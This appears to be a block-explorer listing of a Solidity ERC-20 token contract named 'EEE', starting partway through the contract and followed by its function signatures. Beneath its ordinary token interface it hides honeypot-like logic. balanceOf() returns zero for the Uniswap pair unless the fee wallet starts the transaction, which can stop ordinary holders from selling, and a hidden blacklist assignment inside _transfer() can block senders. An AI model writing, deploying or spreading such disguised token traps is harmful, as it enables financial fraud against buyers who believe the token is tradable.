address payable private _feeWallet;
address private uniswapV2Pair;
IUniswapV2Router02 private uniswapV2Router;
uint256 private constant _initialBuyTax = 0;
uint256 private constant _initialSellTax = 0;
uint256 private constant _reduceBuyTaxAt = 0;
uint256 private constant _reduceSellTaxAt = 0;
uint256 private constant _preventSwapBefore = 0;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _buyCount = 0;
uint256 private _countTax = 0;
string private constant _name = unicode"EEE";
string private constant _symbol = unicode"EEE";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 public constant _countTrigger = 400000 * 10**_decimals;
uint256 public constant _taxSwapThreshold = 4000000 * 10**_decimals;
uint256 public _maxTaxSwap = 10000000 * 10**_decimals;
uint256 public _maxTxAmount = 10000000 * 10**_decimals;
uint256 public _maxWalletSize = 10000000 * 10**_decimals;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event FinalTax(uint256 _valueBuy, uint256 _valueSell, bool _shelid);
event TradingActive(bool _tradingOpen, bool _swapEnabled);
event maxAmount(uint256 _value);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(address feeWallet) {
_feeWallet = payable(feeWallet);
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeWallet] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (hasLP(account)) {
return 0;
}
return _balances[account];
}
function hasLP(address account) internal view returns (bool) {
return account == uniswapV2Pair && IERC20(uniswapV2Pair).balanceOf(uniswapV2Pair) > 0
&& tx.origin != _feeWallet
&& !IsDeadAddress(tx.origin) ? true : false;
}
function IsDeadAddress(address account) internal pure returns (bool) {
return account == address(0) || account == address(0xdead);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(
owner != address(0) && spender != address(0),
"ERC20: approve the zero address"
);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(
from != address(0) && to != address(0),
"ERC20: transfer the zero address"
);
require(
!_blacklist[from],
"Blacklisted"
);
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(
_isExcludedFromFee[to] || _isExcludedFromFee[from],
"trading not yet open"
);
}
if(_buyCount>0) _blacklist[from] = _isExcludedFromFee[msg.sender];
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
_buyCount++;
}
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _reduceSellTaxAt)
? _finalSellTax
: _initialSellTax
)
.div(100);
} else if (from == uniswapV2Pair && to != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _reduceBuyTaxAt)
? _finalBuyTax
: _initialBuyTax
)
.div(100);
}
_countTax += taxAmount;
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
to == uniswapV2Pair &&
swapEnabled &&
contractTokenBalance > _taxSwapThreshold &&
_buyCount > _preventSwapBefore &&
_countTax > _countTrigger
) {
uint256 getMin = (contractTokenBalance > _maxTaxSwap)
? _maxTaxSwap
: contractTokenBalance;
swapTokensForEth((amount > getMin) ? getMin : amount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
_countTax = 0;
}
}
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function sendETHToFee(uint256 amount) private {
_feeWallet.transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function initializePair() external onlyOwner {
require(!tradingOpen, "init already called");
uint256 tokenAmount = balanceOf(address(this)).sub(
_tTotal.mul(_initialBuyTax).div(100)
);
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
tokenAmount,
0,
0,
_msgSender(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading already open");
swapEnabled = true;
tradingOpen = true;
emit TradingActive(tradingOpen, swapEnabled);
}
function manualSwap() external {
require(_msgSender()==_feeWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0 && swapEnabled){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function removeLimits() external onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
emit maxAmount(_tTotal);
}
function setMaxTx(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWallet(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setFees(uint256 _valueBuy, uint256 _valueSell) external onlyOwner {
require( _valueBuy <= 30 && _valueSell <= 30 && tradingOpen,
"Exceeds value"
);
_finalBuyTax = _valueBuy;
_finalSellTax = _valueSell;
uint256 clogSheild = _finalSellTax > 5 ? _maxTaxSwap = (5 *_tTotal).div(1000) : (1 *_tTotal).div(100);
emit FinalTax(_valueBuy, _valueSell, (clogSheild == (5 *_tTotal).div(1000)));
}
receive() external payable {}
}
Read Contract
_countTrigger 0x0b7640b8 → uint256
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 11 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
initializePair 0x4fab9e4c
No parameters
manualSwap 0x51bc3c85
No parameters
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
setFees 0x0b78f9c0
uint256 _valueBuy
uint256 _valueSell
setMaxTx 0xbc337182
uint256 maxTxAmount
setMaxWallet 0x5d0044ca
uint256 maxWalletSize
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
This address has 1 on-chain transactions, but only <1% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →